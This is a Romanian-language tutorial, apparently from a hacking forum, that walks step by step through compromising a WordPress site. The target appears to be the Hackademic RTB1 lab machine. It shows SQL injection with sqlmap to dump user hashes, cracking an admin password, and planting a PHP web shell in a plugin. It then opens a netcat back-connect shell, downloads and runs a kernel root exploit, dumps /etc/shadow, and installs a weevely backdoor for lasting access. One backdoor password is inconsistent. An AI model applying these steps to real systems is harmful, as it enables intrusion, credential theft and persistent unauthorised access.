Cum spargi un site wordpress

Cum sa 'penetrezi' un site wordpress? Raspunsul la aceasta intrebare e destul de greu de determinat, pur si simplu deoarece sunt foarte multe cai de a 'hacka' un website.

Ma rog, sa presupunem ca site-ul este hack-test.com



Dam cu ping, sa aflam IP-ul serverului.
(start>run>cmd...stiti vrajeala   )



Acum avem 173.236.138.113 IP-ul serverului unde este hostata tinta noastra.

Pentru a gasi alte site-uri hostate pe acelasi server, vom folosi sameip.org:





Sunt 26 de alte site-uri hostate pe serverul [173.236.138.113]. Multi dintre hackeri vor tinti toate celelalte site-uri de pe acelasi server pentru a`ti "penetra" site-ul. Dar in scop de studiu, vom lasa de`o parte celelalte site-uri si ne vom axa pe tinta noastra initiala.

Vom avea nevoie de ceva mai multe informatii despre tinta, cum ar fi:

1) DNS: (A, NS, TXT, MX si SOA)

2) Tipul de Web Server (Apache, IIS, Tomcat)

3) Numele, adresa, email si telefon

5) Script-urile pe care le foloseste site-ul (php, asp, asp.net, jsp, cfm)

6) Sistemul de operare (Unix, Linux, Windows, Solaris)

7) Port-urile deschise (80, 443, 21, etc.)

Intai haideti sa aflam DNS-ul. Ne vom folosi de "Who.is" sa realizam acest lucru:



HACK-TEST.COM DNS RECORDS:



Acum sa determinam tipul de web server:



Dupa cum vedeti, web serverul este Apache. Vom determina versiune mai tarziu.

HACK-TEST.COM SITE INFORMATION

IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank:   1 Month: 3,213,986 3 Month: 2,161,753
Page Views per Visit:   1 Month: 2.0 3 Month: 3.7

Acum sa determinam Numele, adresa, email-ul si telefonul 'tintei' noastre:



Acum detinem date despre inregistrare si ceva alte informatii vitale despre tinta. Putem sa cautam acum tipul de script-uri pe care le foloseste site-ul + OS type si versiunea web serverului, folosind o unealta smechera in backtrack 5 R1 numita Whatweb:

Code:

root@bt:/pentest/enumeration/web/whatweb# ./whatweb  hack-test.com

Acum am descoperit ca site-ul foloseste faimosul php script numit WordPress, sistemul de operare, Fedora Linux si versiunea web serverului este apache 2.2.15. Acum sa gasim ceva porturi deschise.

Vom folosi nmap pentru asta:

1 - Cautam serviciile ce se executa pe server:

Code:

root@bt:/# nmap -sV hack-test.com

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:39 EET

Nmap scan report for hack-test.com (192.168.1.2)

Host is up (0.0013s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE VERSION

22/tcp closed ssh

80/tcp open http Apache httpd 2.2.15 ((Fedora))

MAC Address: 00:0C:29:01:8A:4D (VMware)

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds

2 - Cautam server OS

Code:

root@bt:/# nmap -O hack-test.com

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:40 EET

Nmap scan report for hack-test.com (192.168.1.2)

Host is up (0.00079s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE

22/tcp closed ssh

80/tcp open http

MAC Address: 00:0C:29:01:8A:4D (VMware)

Device type: general purpose

Running: Linux 2.6.X

OS details: Linux 2.6.22 (Fedora Core 6)

Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds

Doar port 80 este deschis si OS este Linux 2.6.22(Fedora Core 6)

Acum ca am adunat toate informatiile importante despre site-ul tinta, il vom scana pentru vulnerabilitati de genul, SQL Injection, Blind SQL Injection, LFI, RFI, XSS, CSRF, s.a.m.d.

Vom folosi Nikto.pl sa adunam informatii,poate, unele dintre ele vulnerabilitati:

Code:

root@bt:/pentest/web/nikto# perl nikto.pl -h http://hack-test.com

- Nikto v2.1.4

---------------------------------------------------------------------------

+ Target IP: 192.168.1.2

+ Target Hostname: hack-test.com

+ Target Port: 80

+ Start Time: 2011-12-29 06:50:03

---------------------------------------------------------------------------

+ Server: Apache/2.2.15 (Fedora)

+ ETag header found on server, inode: 12748, size: 1475, mtime: 0x4996d177f5c3b

+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current.

+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE

+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

+ OSVDB-3268: /icons/: Directory indexing found.

+ OSVDB-3233: /icons/README: Apache default file found.

+ 6448 items checked: 1 error(s) and 6 item(s) reported on remote host

+ End Time: 2011-12-29 06:50:37 (34 seconds)

---------------------------------------------------------------------------

+ 1 host(s) tested

Vom folosi de asemenea W3AF. (Gasiti acest tool in backtrack 5 R1).

Code:

root@bt:/pentest/web/w3af# ./w3af_gui

Starting w3af, running on:

Python version:

2.6.5 (r265:79063, Apr 16 2010, 13:57:41)

[GCC 4.4.3]

GTK version: 2.20.1

PyGTK version: 2.17.0

w3af - Web Application Attack and Audit Framework

Version: 1.2

Revision: 4605

Author: Andres Riancho and the w3af team.

Vom insera site-ul tintei noastre alegand optiunea full audit:



Dupa ceva timp, scanarea se va termina si vei vedea:



Site-ul tintei noastre este vulnerabil la SQL Injection, xss si altele!

Sa aruncam o privire peste SQL Injection vulnerability:




http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220

Acesta este URL-ul vulnerabil si cat este parametrul vulnerabil.

Acum, sa exploatam vulnerabilitatea:



Vom gasi ca acea exploatare a vulnerabilitatii va esua, deci, vom folosi, sqlmap pentru treaba asta, si sa descarcam toate informatiile bazei de date de care avem nevoie sa 'penetram' tinta. 

Folosim sqlmap cu -u url



Dupa cateva secunde vei vedea:



Scrie n si apasa enter pentru a continua



Dupa cum vezi, site-ul este vulnerabil la error-based sql injection si baza de date mysql versiunea 5

Acum sa gasim toate bazele de date adaugand "-dbs "

Vom gasi 3 baze de date 



Acum urmeaza sa descarcam tabelele bazei de date wordpress adaugand "-D wordpress -tables "



Vom gasi toate tabele wordpress:



Noi avem nevoie sa descarcam "wp_users", pentru a gasi toti utilizatoii(admin?) informatii (user id si password hash), ulterior crack-area hash-ului pentru a intra in control panel-ul wordpress (wp-admin)

Vom extrage coloanele din tabelul "wp-users" adaugand "-T wp_users -columns "



Si vom gasi 22 de coloane:



Avem nevoie doar sa descarcam coloanele. Deci vom descarca (user_login and user_pass) adaugand

-C user_login,user_pass -dump

Vom gasi informatii importante; acum am gasit userii si password hash



Acum vom fi nevoiti sa crack-am aceste hash-uri in plain text password. Vom folosi site-ul, "Online Hash Crack MD5 / LM / NTLM / SHA1 / MySQL5 / MySQL323 / MD4 / WPA / WPA2 - Passwords recovery - Reverse hash lookup Online - Hash Calculator"
Unde vom incerca sa crack-am hash-ul 7CBB3252BA6B7E9C422FAC5334D22054



Si plain text este q1w2e3

Numele de utilizator este "GeorgeMiller"

Ne vom loga acum cu aceste informatii in "wp-admin "



Si, suntem inauntru!



Urca un php web shell pentru a executa ceva comenzi de linux pe site-ul tintei.


Vom edita un plugin in wordpress numit "Textile" sau orice alt plugin gasim in pagina de pluginuri.




Apoi alege sa-l modifici:



Vom insera un php web shell in locul plug-inului real. Dupa ce terminam lucru acesta, ii dam "update file "
si rasfoim noul nostru php shell.



Acum ca shell-ul functioneaza, putem manipula fisierele site-ului, dar noi vrem sa obtinem acces la root si sa hackam toate site-urile.

Vom alege "back-connect" din php web shell si facem o connexiune cu ip-ul nostru "192.168.1.6" pe portul "5555"



Dar inainte sa ne conectam, intai trebuie sa configuram netcat pe portul "5555" pe sistemul informatic al atacatorului.



Acum dai connect si vei vedea:



Acum sa incercam ceva comenzi de linux:

Code:

id

uid=48(apache) gid=489(apache) groups=489(apache)

pwd

/var/www/html/Hackademic_RTB1/wp-content/plugins

uname -a

Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

comanda id este folosita sa ne arate care este user id, si group-ul.

comanda pwd este folosita sa ne arate calea noastra curenta catre server

comanda uname -a este folosita sa ne arate ceva informatii despre versiunea kernel



Bun, acum stim ca versiunea kernel este 2.6.31.5-127.fc12.1686

Sa cautam in exploit-db.com ceva exploit-uri pentru aceasta versiune, sau una mai recenta.

Vom scrie “kernel 2.6.31 ”



Dupa ce le incercam pe toate pe server-ul nostru, niciuna dintre ele nu a functionat, dar atunci am folosit un nou exploit


Linux RDS Protocol Local Privilege Escalation

Si am folosit aceasta comanda pe shell-ul meu netcat

Code:

wget http://www.exploit-db.com/download/15285 -O roro.c

--2011-12-28 00:48:01-- http://www.exploit-db.com/download/15285

Resolving www.exploit-db.com... 199.27.135.111, 199.27.134.111

Connecting to www.exploit-db.com|199.27.135.111|:80... connected.

HTTP request sent, awaiting response... 301 Moved Permanently

Location: http://www.exploit-db.com/download/15285/ [following]

--2011-12-28 00:48:02-- http://www.exploit-db.com/download/15285/

Connecting to www.exploit-db.com|199.27.135.111|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 7154 (7.0K) [application/txt]

Saving to: `roro.c'

0K ...... 100% 29.7K=0.2s

Am folosit comanda wget sa aducem exploitul de pe exploit-db.com si am folosit -O sa-l redenumim in roro.c

Nota: majoritatea exploit-urile pt linux kernel sunt dezvoltate in c, deci il salvam cu extensia .c, arunca o privire peste sursa lui si vei gasi:

Code:

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define RECVPORT 5555

#define SENDPORT 6666

int prep_sock(int port)

{

int s, ret;

struct sockaddr_in addr;

s = socket(PF_RDS, SOCK_SEQPACKET, 0);

if(s < 0) {

printf(“[*] Could not open socket.\n”);

exit(-1);

}

memset(&addr, 0, sizeof(addr));

Toate dintre liniile de mai sus indica faptul ca exploit-ul este scris in C

Dupa ce salvam exploit-ul pe server, il vom compita in format elf folosind:

gcc roro.c -o roro


Dupa care vom executa exploit-ul scriind :

Code:

./roro

 [*] Linux kernel >= 2.6.30 RDS socket exploit[*] by Dan Rosenberg[*] Resolving kernel addresses...

[+] Resolved rds_proto_ops to 0xe09f0b20

[+] Resolved rds_ioctl to 0xe09db06a

[+] Resolved commit_creds to 0xc044e5f1

[+] Resolved prepare_kernel_cred to 0xc044e452[*] Overwriting function pointer...[*] Linux kernel >= 2.6.30 RDS socket exploit[*] by Dan Rosenberg[*] Resolving kernel addresses...

[+] Resolved rds_proto_ops to 0xe09f0b20

[+] Resolved rds_ioctl to 0xe09db06a

[+] Resolved commit_creds to 0xc044e5f1

[+] Resolved prepare_kernel_cred to 0xc044e452[*] Overwriting function pointer...[*] Triggering payload...[*] Restoring function pointer...

Dupa care vom scrie


Id


Vom vedea ca noi suntem root ! 

uid=0 (root) gid=0 (root)


Acum putem vedea fisierul /etc/shadow

Code:

cat /etc/shadow

root:$6$4l1OVmLPSV28eVCT$FqycC5mozZ8mqiqgfudLsHUk7R1EMU/FXw3pOcOb39LXekt9VY6HyGkXcLEO.ab9F9t7BqTdxSJvCcy.iYlcp0:14981:0:99999:7:::

bin:*:14495:0:99999:7:::

daemon:*:14495:0:99999:7:::

adm:*:14495:0:99999:7:::

lp:*:14495:0:99999:7:::

sync:*:14495:0:99999:7:::

shutdown:*:14495:0:99999:7:::

halt:*:14495:0:99999:7:::

mail:*:14495:0:99999:7:::

uucp:*:14495:0:99999:7:::

operator:*:14495:0:99999:7:::

games:*:14495:0:99999:7:::

gopher:*:14495:0:99999:7:::

ftp:*:14495:0:99999:7:::

nobody:*:14495:0:99999:7:::

vcsa:!!:14557::::::

avahi-autoipd:!!:14557::::::

ntp:!!:14557::::::

dbus:!!:14557::::::

rtkit:!!:14557::::::

nscd:!!:14557::::::

tcpdump:!!:14557::::::

avahi:!!:14557::::::

haldaemon:!!:14557::::::

openvpn:!!:14557::::::

apache:!!:14557::::::

saslauth:!!:14557::::::

mailnull:!!:14557::::::

smmsp:!!:14557::::::

smolt:!!:14557::::::

sshd:!!:14557::::::

pulse:!!:14557::::::

gdm:!!:14557::::::

p0wnbox.Team:$6$rPArLuwe8rM9Avwv$a5coOdUCQQY7NgvTnXaFj2D5SmggRrFsr6TP8g7IATVeEt37LUGJYvHM1myhelCyPkIjd8Yv5olMnUhwbQL76/:14981:0:99999:7:::

mysql:!!:14981::::::

Apoi, /etc/passwd

Code:

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

vcsa:x:69:499:virtual console memory owner:/dev:/sbin/nologin

avahi-autoipd:x:499:498:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin

ntp:x:38:38::/etc/ntp:/sbin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin

rtkit:x:498:494:RealtimeKit:/proc:/sbin/nologin

nscd:x:28:493:NSCD Daemon:/:/sbin/nologin

tcpdump:x:72:72::/:/sbin/nologin

avahi:x:497:492:avahi-daemon:/var/run/avahi-daemon:/sbin/nologin

haldaemon:x:68:491:HAL daemon:/:/sbin/nologin

openvpn:x:496:490:OpenVPN:/etc/openvpn:/sbin/nologin

apache:x:48:489:Apache:/var/www:/sbin/nologin

saslauth:x:495:488:"Saslauthd user":/var/empty/saslauth:/sbin/nologin

mailnull:x:47:487::/var/spool/mqueue:/sbin/nologin

smmsp:x:51:486::/var/spool/mqueue:/sbin/nologin

smolt:x:494:485:Smolt:/usr/share/smolt:/sbin/nologin

sshd:x:74:484:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

pulse:x:493:483:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin

gdm:x:42:481::/var/lib/gdm:/sbin/nologin

p0wnbox.Team:x:500:500:p0wnbox.Team:/home/p0wnbox.Team:/bin/bash

mysql:x:27:480:MySQL Server:/var/lib/mysql:/bin/bash

Putem cracka toate acestea folosind "john the ripper"

Dar nu vom face asta; vrem sa ne mentinem accesul ca sa putem veni sa vizitam/hackam serverul oricand 

Vom folosi weevely la un mic si encodat php backdoor cu parola de protectie, si urcam acest php backdoor pe serverul nostru.

Sa incepem:




1 - optiunile pentru weevely:

Code:

root@bt:/pentest/backdoors/web/weevely# ./main.py -

Weevely 0.3 - Generate and manage stealth PHP backdoors.

Copyright (c) 2011-2012 Weevely Developers

Website: http://code.google.com/p/weevely/

Usage: main.py [options]

Options:

-h, --help show this help message and exit

-g, --generate Generate backdoor crypted code, requires -o and -p .

-o OUTPUT, --output=OUTPUT

Output filename for generated backdoor .

-c COMMAND, --command=COMMAND

Execute a single command and exit, requires -u and -p

.

-t, --terminal Start a terminal-like session, requires -u and -p .

-C CLUSTER, --cluster=CLUSTER

Start in cluster mode reading items from the give

file, in the form 'label,url,password' where label is

optional.

-p PASSWORD, --password=PASSWORD

Password of the encrypted backdoor .

-u URL, --url=URL Remote backdoor URL .

2 - Vom crea un php backdoor cu parola wubi folosind weevely:

Code:

root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko

Weevely 0.3 - Generate and manage stealth PHP backdoors.

Copyright (c) 2011-2012 Weevely Developers

Website: http://code.google.com/p/weevely/

+ Backdoor file 'hax.php' created with password 'wubi'.

3 - Urcam php backdoor-ul nostru pe server folosind php web shell-ul




Dupa ce l`am urcat, ne vom conecta la el folosind:

Code:

root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p wubi

Weevely 0.3 - Generate and manage stealth PHP backdoors.

Copyright (c) 2011-2012 Weevely Developers

Website: http://code.google.com/p/weevely/

+ Using method 'system()'.

+ Retrieving terminal basic environment variables .

[apache@HackademicRTB1 /var/www/html/Hackademic_RTB1/wp-content/plugins]

Sa testam hax.php backdoor



Concluzie:
In acest articol, am invatat ceva tehnici care sunt folosite de hackeri, pentru a tinti si 'penetra' site-ul si serverul tau. Sper ca ti s`a parut interesant. Urmatorul tutorial va fi despre cum sa ne protejam impotriva acestor atacuri.